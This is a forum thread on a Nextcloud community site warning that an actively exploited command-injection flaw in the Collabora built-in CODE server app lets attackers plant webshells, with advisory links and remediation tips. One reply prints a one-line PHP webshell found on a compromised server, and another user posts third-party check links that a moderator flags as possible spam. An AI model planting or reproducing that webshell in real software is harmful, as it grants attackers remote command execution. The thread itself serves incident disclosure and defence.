To Collabora Built-in User: Update ASAP

security, infrastructure, collabora-built-in, cve

mritzmann 1 October 3, 2026, 8:47am

Just as a note, since AFAIK no warning or CVE has been published:

If anyone is running a Nextcloud with the "**Collabora Online - Built-in CODE Server**"-app installed, you should update to the newest App version as soon as possible. The new version fixes a shell command injection vulnerability that is already being exploited. There are already users **who have found WebShells on their Nextcloud server**. This does not affect Collabora itself, **but the way** the Build-in app starts Collabora using a PHP `exec`.

Affected:

- `richdocumentscode` v26.4.302 and older

Not affected:

- If you use `richdocuments`, and `richdocumentscode` is not installed
- If you're running Collabora with Docker or a linux distribution packet
- If you're using a Collabora hosting (like **IONOS**, **Hostinger**, **Cloud42** …)

Update 14.10.2026

The CVE was published as CVE-2026-110447:

- **https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-100780**
- **https://nvd.nist.gov/vuln/detail/cve-2026-110447**
- **https://www.cve.org/CVERecord?id=CVE-2026-110447**
- **https://github.com/advisories/GHSA-F97P-R72Q-64H2**
- **https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh**

Severity: 9.2 / 10

Media coverage:

- **https://www.bleepingcomputer.com/news/security/hackers-exploit-collabora-rce-flaw-to-backdoor-nextcloud-servers/**
- **https://thehackernews.com/2026/10/hackers-backdoor-nextcloud-servers.html**

Update 26.10.2026

The same CVE again in the news:

- EN: **https://heise.de/-11499700**
- DE: **https://heise.de/-11499615**

because **CISA** has added CVE-2026-110447 to the list of **known exploited vulns**. And yes, it's true there are still **people who are affected by this**. Folks, update, update, update!

---

mritzmann 2 October 14, 2026, 9:50am

As of today, the CVE was published:

- **https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-100780**
- **https://nvd.nist.gov/vuln/detail/cve-2026-110447**
- **https://www.cve.org/CVERecord?id=CVE-2026-110447**
- **https://github.com/advisories/GHSA-F97P-R72Q-64H2**
- **https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh**

Severity: 9.2 / 10

Media coverage:

- **https://www.bleepingcomputer.com/news/security/hackers-exploit-collabora-rce-flaw-to-backdoor-nextcloud-servers/**
- **https://thehackernews.com/2026/10/hackers-backdoor-nextcloud-servers.html**

---

avilanatanael640 3 October 15, 2026, 8:09am

Thanks for flagging this — I checked my own instances against it today. For anyone wanting to verify quickly, I put together a free 30-second self-test that walks through the exact exposure checks (app version, proxy.php reachability, and the hunt checklist if you were exposed):
Nextcloud CVE-2026-110447 Exposure Check — Free 30-Second Self-Test

One thing worth stressing: if you were running a vulnerable version while the CODE server was down for any reason (restart/upgrade/crash), patch alone isn't enough — hunt for unexpected PHP files first. Web shells were found on real servers.

Andreabont 4 October 16, 2026, 12:42pm

Hi, i have updated nextcloud to version 35.0.2 and the integrity scan report an additional file:

```
Technical information
=====================
The following list covers which files have failed the integrity check. Please rea
the previous linked documentation to learn more about the errors and how to fix
them.

Results
=======
- richdocumentscode
    - EXTRA_FILE
        - Nx_33143.php

Raw output
==========
Array
(
    [richdocumentscode] => Array
        (
            [EXTRA_FILE] => Array
                (
                    [Nx_33143.php] => Array
                        (
                            [expected] =>
                            [current] => 4b1c4012c882c512b1e4bb2938c554359f6a268f

                        )

                )
```

The file was located in *./apps/richdocumentscode/Nx_33143.php* and contains a simple backdoor:

```
<?php system($_GET[c]);
```

I remove the file and i removed the unused module richdocumentscode from my server.

JimmyKater 5 October 16, 2026, 12:56pm

looks as if it got fixed with richdocuments .303
https://github.com/advisories/GHSA-f97p-r72q-64h2

though… I was told that this is a severe one… could have been already used even with disabled app. check access logs

avilanatanael640 6 October 16, 2026, 8:55pm

Glad the integrity check caught it — and thanks for sharing the filename. `Nx_33143.php` is a new pattern beyond the `shx*` / `shrf*` names in the earlier reports. Since the shell ran as your web server user, two things worth doing now: review access logs back to Sept 10 for `proxy.php?status` hits, and rotate anything www-data could read (DB password, app passwords). I built the full persistence-hunt sequence into a free interactive checklist:

`https://iceman2050.github.io/ingeniousai-security-checks-mirror/nextcloud-webshell-leftovers-check.html`
runs entirely in your browser. Hope the rest of the box is clean.

---

rakekniven 7 October 17, 2026, 7:42pm

@avilanatanael640 You posted two links with nearly the same content.

Be aware that we have an eye on spammers. Hopefully you are not one of them.

---

mritzmann 8 October 26, 2026, 8:45am

The same CVE again in the news:

- EN: **https://heise.de/-11499700**
- DE: **https://heise.de/-11499615**

because CISA has added CVE-2026-110447 to the list of **known exploited vulns**. And yes, it’s true there are still **people who are affected by this**. Folks, update, update, update!

---

awelzel 9 October 26, 2026, 11:26am

I have no support/technical question and have seen the support category. (Be aware that direct support questions will be deleted.)

on

Which general topic do you have

As reported on **Attacks on Arista VeloCloud and Collabora/Nextcloud observed | heise online** the Built-in CODE server for Collabora is vulnerable and allows to install web shells on Nextcloud servers. This does not apply to Collabora as standalone version in Docker or on a separate server.

The update to the fixed version requires at least Nextcloud 30 and does not support Nextcloud 29 any longer. But updating to a supported Nextcloud version like 33 or 34 is always a good idea anyways.

---

mritzmann 10 October 26, 2026, 1:48pm

There's already a thread about this 😉💩

> **To Collabora Built-in User: Update ASAP**
>
> Just as a note, since AFAIK no warning or CVE has been published: If anyone is running a Nextcloud with the "**Collabora Online - Built-in CODE Server**"-app installed, you should update to the newest App version as soon as possible. The new version fixes a shell command injection vulnerability that is already being exploited. There are already users **who have found WebShells on their Nextcloud server**. This does not affect Collabora itself, **but the way** the Build-in app starts Collabora using a PHP e…